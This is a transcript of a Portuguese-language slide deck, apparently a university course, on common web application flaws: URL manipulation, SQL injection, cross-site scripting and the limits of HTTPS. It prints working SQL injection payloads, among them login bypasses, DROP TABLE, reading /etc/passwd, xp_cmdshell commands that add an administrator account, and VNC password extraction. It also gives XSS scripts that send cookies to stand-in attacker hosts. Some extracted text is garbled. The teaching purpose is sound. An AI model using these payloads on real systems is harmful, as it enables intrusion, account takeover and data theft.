Falhas mais comuns em aplica - PowerPoint PPT Presentation

About This Presentation
Title:

Falhas mais comuns em aplica

Description:

Seguran a de Redes Seguran a de Redes Testes OSSTMM Slide 23 Slide 24 Em Aplica es WEB URL Manipulation URL Manipulation URL Manipulation SQL Injection ... – PowerPoint PPT presentation

Number of Views:162
Avg rating:3.0/5.0
Slides: 75
Provided by: cinUfpeB51
Category:
Tags: aplica | comuns | falhas | mais | osstmm

less

Transcript and Presenter's Notes

Title: Falhas mais comuns em aplica


1
Falhas mais comuns em aplicações WEB
2
Agenda
  • Introdução
  • Explicando cada ataque através de exemplos
  • URL Manipulation
  • SQL Injection
  • XSS Cross Site Scripting
  • Como resolve-los
  • O que HTTPS nos oferece
  • Porque HTTPS não resolve nossos problemas?
  • Próximos passos do projeto .

3
Introdução
  • Os ataques a serviços de rede estão se tornando
    muito sofisticados
  • A criatividade humana não para
  • Mas o que faltava?
  • APLICAÇÕES!!! Mas será que é possível?
  • Atualmente a maioria dos BUGs reportados estão
    em aplicações
  • Application Security ! Network Security
  • Não se esqueçam Quem provê acesso aos dados? As
    aplicações !!!

4
Introdução Lendas Urbanas
  • Não ha problemas
  • Até que a aplicação seja comprometida
  • Erros de runtime não são problemas (tratamento de
    erros)
  • Exponham informações relevantes
  • Consumam todo recurso do servidor
  • Web Services não são vulneráveis
  • Quase nunca testados e raramente segurança é
    considerada
  • Solução
  • Testes de penetração. São caros !!!

5
Introdução - Números
  • Gartner
  • 75 dos ataques acontecem no nível das aplicações
  • Em caso de falha no sistema provavelmente os
    desenvolvedores são três vezes mais culpados do
    que os administradores de sistemas
  • NIST
  • 92 das vulnerabilidadces estão no nível das
    aplicações

6
Introdução
  • Nosso foco será demonstrar estes BUGs de forma
    prática
  • Para nos proteger temos que entender das táticas
    e armas no nosso inimigo
  • Temos que ter nossas armas para nos defender !!!

7
(No Transcript)
8
Testes e segurança por onde vai .
9
Contexto
  • Não há segurança de sistemas sem a conjuncão de
    tres fatores
  • Boas praticas de codificação
  • Metodologia adequada (arquitetura e etc)
  • Testes ..... E ai vem .....

10
O que é segurança
  • Segurança em um end line
  • Mas o que é isso?
  • Não se discute segurança sem entender de
  • Arquitetura de Computadores, Sistemas
    Operacionais, Redes de computadores (protocolos
    de comunicação, Linguagem de programação,
    engenharia de software e Logica.

11
O que é segurança
  • Entao o que eu preciso saber para se poder testar
    ....
  • Opção 1 seguir os procedimentos definidos alguem
    que sabe disso tudo
  • Opção 2 Saber disso tudo

12
Então para o que querem ....
13
Então para o que querem ....
14
Então para o que querem ....
15
Então para o que querem ....
16
Então para o que querem ....
17
Então para o que querem ....
18
Então para o que querem ....
19
Segurança de Redes
  • Recursos
  • Sites
  • www.securityfocus.com
  • www.cert.com
  • www.rootkit.com

20
Segurança de Redes
  • Periódicos
  • Linux Journal
  • Sys Admin Magazine
  • Information Security
  • SC Info Security Magazine
  • Security Magazine (Nacional)

21
Testes
22
OSSTMM
23
(No Transcript)
24
  • Agora faça seu checklist
  • O que fazer?
  • O que testar?
  • Como fazer?
  • São as resposta que queremos. Vamos começar por
    .....
  • AQUI

25
Em Aplicações WEB
26
URL Manipulation
  • O comando GET requisita informações importantes
    na URL
  • Os parâmetros podem ser manipulados para se obter
    resultados satisfatórios
  • O impacto é ALTO
  • Variações podem ser feitas para se tentar obter
    resultados interessantes

http//www.paladiontest.com/example?accountnumber
12345debitamount1
27
URL Manipulation
28
URL Manipulation
29
SQL Injection
  • A idéia é injetar um comando SQL (Structured
    Query Language) ou comando como imput dos dados
    em um formulário WEB
  • Todos os parâmetros passados são direcionados
    para o banco de dados
  • O atacante pode manipular com as tabelas e dados
    diretamente

30
Causas - SQL Injection
public void OnLogon(object src, EventArgs e)
SqlConnection con new SqlConnection(
"server(local)databasemyDBuidsapwd" )
string query String.Format( "SELECT
COUNT() FROM Users WHERE "
"username'0' AND password'1'",
txtUser.Text, txtPassword.Text ) SqlCommand
cmd new SqlCommand(query, con) conn.Open()
SqlDataReader reader cmd.ExecuteReader()
try if(reader.HasRows())
IssueAuthenticationTicket() else
TryAgain() finally con.Close()
31
SQL Injection Problemas
Esperado username abc password
teste123 Quando submetido a query será montada
como select from users where username'abc'
and password 'test123'
Não esperado username abc' --
password A query enviada para o
banco de dados será select from users where
uname'abc --' and password''
32
SQL Injection Problemas
Esperado Username doug Password
p_at_w0rd SELECT COUNT() FROM Users WHERE
username'doug' and password'p_at_w0rd'
Não esperado Username ' OR 11 -- Password
SELECT COUNT() FROM Users WHERE username'' OR
11 -- and password''
33
SQL Injection
Login com Sucesso
http//target.site/login.jsp
Esperado
Não esperado
34
SQL Injection Mais exemplos
Identificando campos de uma tabela SELECT
fieldlist FROM table WHERE field 'x' AND
email IS NULL --'
Verificando se a tabela existeSELECT email,
passwd, login_id, full_name FROM table WHERE
email 'x' AND 1(SELECT COUNT() FROM tabname)
--'
35
SQL Injection Mais exemplos
Procurando por usuários SELECT email, passwd,
login_id, full_name FROM members WHERE email
'x' OR full_name LIKE 'Maria'
Ataques de força brutaSELECT email, passwd,
login_id, full_name FROM members WHERE email
ususario_at_provedor.com' AND passwd senha123'
36
SQL Injection Mais exemplos
Verificando as permissões no Database SELECT
email, passwd, login_id, full_name FROM members
WHERE email 'x' DROP TABLE members --'
Criando um usuárioSELECT email, passwd,
login_id, full_name FROM members WHERE email
'x' INSERT INTO members ('email','passwd','logi
n_id', 'full_name') VALUES (usuario_at_provedor.co
m',senha', user',User da Internet')--'
37
SQL Injection Mais exemplos
Alterando o mail de comunicação SELECT email,
passwd, login_id, full_name FROM members WHERE
email 'x' UPDATE members SET email
usuario_at_provedor.com' WHERE email
usuario_at_hackprovedor.com'
38
Caracteres utilizados
  • ' ou " Utilizado para indicar tipo char
  • -- ou Comentário
  • // Comentário de várias linhas
  • Adição, concatenação
  • Concatenação
  • Wildcard
  • ?Param1fooParam2bar Parâmetros da URL
  • PRINT Muito utilizado quando não temos
    transações
  • _at_variable Variável Local
  • _at__at_variable Variável Global
  • waitfor delay '0010' Delay

39
SQL Injection
  • http//172.27.70.25/tikiwiki-1.8/tiki-directory_se
    arch.php?howorwordswhereallsort_modedelete
    2020from20users_uses

40
Determinando a versão do SGBD
  • Na maioria do tempo as mensagens de erro nos
    ajudam a identificar qual o SGBD utilizado
  • As mensagens de erro ODBC mostram SGBD utilizado
  • Se não tivermos as mensagens ODBC
  • Tentamos analisar qual a tecnologia utilizada na
    aplicação e no servidor WEB
  • Tentamos utilizar caracteres, comandos ou stored
    procedures que geram erros específicos

41
Determinando a versão do SGBD
MS SQLT-SQL MySQL Access OraclePL/SQL DB2 PostgresPL/pgSQL
Concatenate Strings ' '' ' concat (" ", " ") " "" " ' '' ' " "" " ' '' '
Null replace Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()
Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()
Op Sys interaction xp_cmdshell select into outfile / dumpfile date utf_file import from export to Call
Cast Yes No No No Yes Yes
42
Interagindo com o sistema Operacional
  • Existem duas maneiras de se interagir com o
    sistema operacional
  • Lendo arquivos
  • Obtendo arquivos de senhas
  • Trocando senhas dos usuários
  • Executando comandos que troquem parâmetros do
    sistema
  • Execução direta de comandos
  • Não ha limites !!!
  • Qualquer ação depende do privilégio que o
    usuários utilizado pelo SGBD possui

43
MySQL e a interação O.S.
  • MySQL
  • LOAD_FILE
  • ' union select 1,load_file('/etc/passwd'),1,1,1
  • LOAD DATA INFILE
  • create table temp( line blob )
  • load data infile '/etc/passwd' into table temp
  • select from temp
  • SELECT INTO OUTFILE

44
MS SQL e a interação O.S.
  • MS SQL Server
  • ' exec master..xp_cmdshell 'ipconfig gt test.txt'
    --
  • ' CREATE TABLE tmp (txt varchar(8000)) BULK
    INSERT tmp FROM 'test.txt' --
  • ' begin declare _at_data varchar(8000) set
    _at_data' ' select _at_data_at_datatxt' ' from
    tmp where txtlt_at_data select _at_data as x into temp
    end --
  • ' and 1 in (select substring(x,1,256) from temp)
    --
  • ' declare _at_var sysname set _at_var 'del
    test.txt' EXEC master..xp_cmdshell _at_var drop
    table temp drop table tmp --

45
Arquitetura mais comum
  • Sempre tenha em mente
  • O SQL normalmente é executado em um outro
    servidor
  • O servidor de BD normalmente não tem acesso a
    Internet e é protegido

46
Comando de rede relevantes
  • Usando a SP xp_cmdshell podemos executar
  • Ipconfig /all
  • Tracert myIP
  • arp -a
  • nbtstat -c
  • netstat -ano
  • route print

47
Manipulando com as informações da rede
  • ' declare _at_var varchar(256) set _at_var ' del
    test.txt arp -a gtgt test.txt ipconfig /all
    gtgt test.txt nbtstat -c gtgt test.txt netstat
    -ano gtgt test.txt route print gtgt test.txt
    tracert -w 10 -h 10 google.com gtgt test.txt' EXEC
    master..xp_cmdshell _at_var --
  • ' CREATE TABLE tmp (txt varchar(8000)) BULK
    INSERT tmp FROM 'test.txt' --
  • ' begin declare _at_data varchar(8000) set
    _at_data' ' select _at_data_at_datatxt' ' from
    tmp where txtlt_at_data select _at_data as x into temp
    end --
  • ' and 1 in (select substring(x,1,255) from temp)
    --
  • ' declare _at_var sysname set _at_var 'del
    test.txt' EXEC master..xp_cmdshell _at_var drop
    table temp drop table tmp --

48
Manipulando com o S.O.
  • Linux MySQL
  • ' union select 1, (load_file('/etc/passwd')),1,1,1
  • MS SQL Criando usuários
  • ' exec xp_cmdshell 'net user /add victor
    Pass123'--
  • ' exec xp_cmdshell 'net localgroup /add
    administrators victor' --
  • Iniciando serviços
  • ' exec master..xp_servicecontrol 'start','FTP
    Publishing' --

49
Obtendo a senha do VNC
  • ' declare _at_out binary(8) exec
    master..xp_regread _at_rootkey'HKEY_LOCAL_MACHINE',
    _at_key'SOFTWARE\ORL\WinVNC3\Default',
    _at_value_name'Password', _at_value _at_out output
    select cast(_at_out as bigint) as x into TEMP--
  • ' and 1 in (select cast(x as varchar) from temp)
    --

50
XSS Cross Site Scripting
51
WEB Session Hijaking
  • Não a ligação entre o ID do login e o ID da
    sessão
  • A sessão do usuário pode ser roubada
  • Impacto é ALTO
  • A idéia e obter de alguma forma o HASH da sessão

52
Cross Site Scripting
Webpage Cookies
Reflected Code ltSCRIPTgtEnvia o Cookie para
attacker.comlt/SCRIPTgt
Link malicioso em uma pagina web ou e-mail
malicioso
Executed
http//banco.com/login/
Malicious Link http//bank.com/account.jsp?
ltSCRIPTgtEnvia cookie para sitehaker.com
Cookie
Cookie
53
Cross Site Scripting (XSS)
  • Esta vulnerabilidade tira vantagens de sites que
    não fazem o tratamento dos dados de entrada.
  • O POST contém um script que pode ser executado
    via browser
  • ltscriptgtwindow.navigate("http//somesite.net/steal
    .asp?cookie"document.cookie)lt/scriptgt

54
XSS Como o atacante depura
  • Pode colocar uma mensagem no post
  • ltscriptgtalert(this is vulnerable)lt/scriptgt
  • A aplicação retorna a sua submissão

55
XSS Exemplos
  • Pode se receber um e-mail com o um link
  • O resultado é enviado para um site
  • http//www.mymail.com?searchltscriptgtwindow.
    navigate("http//badsite.net/steal.asp?cookie"do
    cument.cookie)lt/scriptgt
  • http//www.steve.org.uk/Hacks/XSS/simple.html

56
XSS Exemplos do passado
  • http//www.fotolog.net/about.html?user3Cscript3
    Ealert(22rfdslabs22)3C/script3E
  • http//www.microsoft.com/education/?IDMCTNtarget
    http//www.microsoft.com/education/?IDMCTNtarge
    t"gtltscriptgtalert(document.cookie)lt/scriptgt
  • http//hotwired.lycos.com/webmonkey/00/18/index3a_
    page2.html?twltscriptgtalert(Test)lt/scriptgt
  • http//www.shopnbc.com/listing.asp?qultscriptgtaler
    t(document.cookie)lt/scriptgtfrompage4page1ctV
    VTVmh0sh0RN1
  • http//www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_sea
    rch_exe?search_text223E3Cscript3Ealert28docu
    ment.cookie293C2Fscript3E

57
  • Solução
  • Sempre valide a sessão com login e os parâmetros
    críticos

58
Sistemas distribuídos
  • Sistemas distribuídos podem ser vistos de maneira
    geral como diferentes elementos de software
    (aplicações) executando remotamente (ou em locais
    remotos) e se comunicando para fornecer/consumir
    serviços.
  • Conjunto de máquinas autônomas
  • Interconectadas por canais de comunicação
  • Comunicando-se por troca de mensagens
  • Independência de falhas (falhas parciais)
  • Ausência de relógio global
  • Ausência de estado global
  • Estado compartilhado da aplicação (através de
    comunicação)

59
Sistemas distribuídos
  • Além de considerar todos os problemas anteriores
  • Eles se potencializam num cenário distribuído
  • Precisamos usar
  • Comunicação Segura
  • Autenticação
  • Integridade dos dados trafegados
  • Serviços de rede passam a ser problemas DNS
    Principalmente.

60
Comunicação segura
  • O que podemos usar
  • VPN IPSec, PPTP, ....
  • Custoso
  • Por ser necessário uma configuração especial, a
    aplicação depende não somente dela mas da rede
    prover
  • Mas lembre-se
  • A REDE É INSEGURA !!!!!

61
E a aplicação ?
  • Autenticação
  • Integridade dos dados trafegados
  • Que tal uma PKI ?
  • Temos Autenticação
  • Temos Integridade e confidenciaidade se
    encriptarmos os dados

62
O que HTTPS nos oferece
  • HTTPS resolve os problemas de segurança apontados
    anteriormente?
  • Mas então para que usar HTTPS?
  • Muitas vezes dizemos que o uso de HTTPS nos temos
    o servidor seguro

63
O que HTTPS nos oferece
  • HTTPS é a versão segura do protocolo HTTP que
    implementa a autenticação e encriptação da
    comunicação.
  • Previne os ataques do tipo men-in-the-middle e
    que dados interceptados sejam lidos
  • A autenticação é uma característica muito
    explorada atualmente
  • ICP-BR

64
O que HTTPS nos oferece
  • Negocia qual sistema de codificação será usado
    durante a transferência
  • Estabelece e troca as chaves de sessão entre o
    cliente e o servidor
  • Opcionalmente autentica o servidor para o cliente
  • Opcionalmente autentica o cliente para o
    servidor

65
Autenticação usando certificados e chaves
públicas/privadas
Webserver
Fase do desafio (Mensagem Randômica)
Identificação da Conexão Randômica (server)
Identificão da Conexão Randômica (server)
66
Autenticação usando certificados e chaves
públicas/privadas
Webserver
Fase do desafio (Mensagem Randômica
Identificão da Conexão Randômica (server)
67
Autenticação usando certificados e chaves
públicas/privadas
Webserver
Fase do desafio (Mensagem Randômica
Fase do desafio (Mensagem Randômica
A autenticação do cliente pode começar agora
Identificão da Conexão Randômica (server)
dentificão da Conexão Randômica (server)
68
Porque HTTPS não resolve nossos problemas?
  • Porque nossos problemas não estão apenas nos
    protocolos ou na comunicação. Temos problemas nas
    aplicações e estas hierarquicamente estão acima
    dos protocolos de comunicação.

69
Autorização
  • Associar direitos, capacidade e habilidades
    associadas a um assunto
  • A autorização geralmente vem após uma
    autenticação
  • Ex. Uma vez que se sabe quem é o usuário foi
    autenticado o serviço decidirá o que o usuário
    pode fazer no contexto que ele esta autorizado

70
Autorização
  • RBAC
  • Autorização baseada em perfil
  • Autorização baseada em contexto
  • http//maca.sourceforge.net

71
Auditoria
  • Loggin analises
  • Data warehouse
  • Mineração de dados
  • Correlação de eventos

72
Próximos passos
  • Componente focado em resolver os problemas
    apresentados
  • Não intrusivo
  • Flexível
  • Performance
  • Fácil de usar
  • Autenticação
  • Componente para autenticar
  • Login/Senha
  • Certificado Digital
  • Biometria

73
Referências
  • http//www.owasp.org/
  • http//www.isecom.org/osstmm/
  • Open-Source Security Testing Methodology Manual
  • Web Application Disassembly with ODBC Error
    Messages
  • JavaOne 2005
  • Strategies for Securing Java Technology Code
  • Web Services Security Attacks in Action
  • 9 Ways to Hack a Web App
  • Advanced SQL Injection In SQL Server applications
  • Advanced Cross Site Scripting
  • CROSS-SITE TRACING (XST)
  • SQL Injection Signatures Evasion

74
  • F I M
Write a Comment
User Comments (0)
About PowerShow.com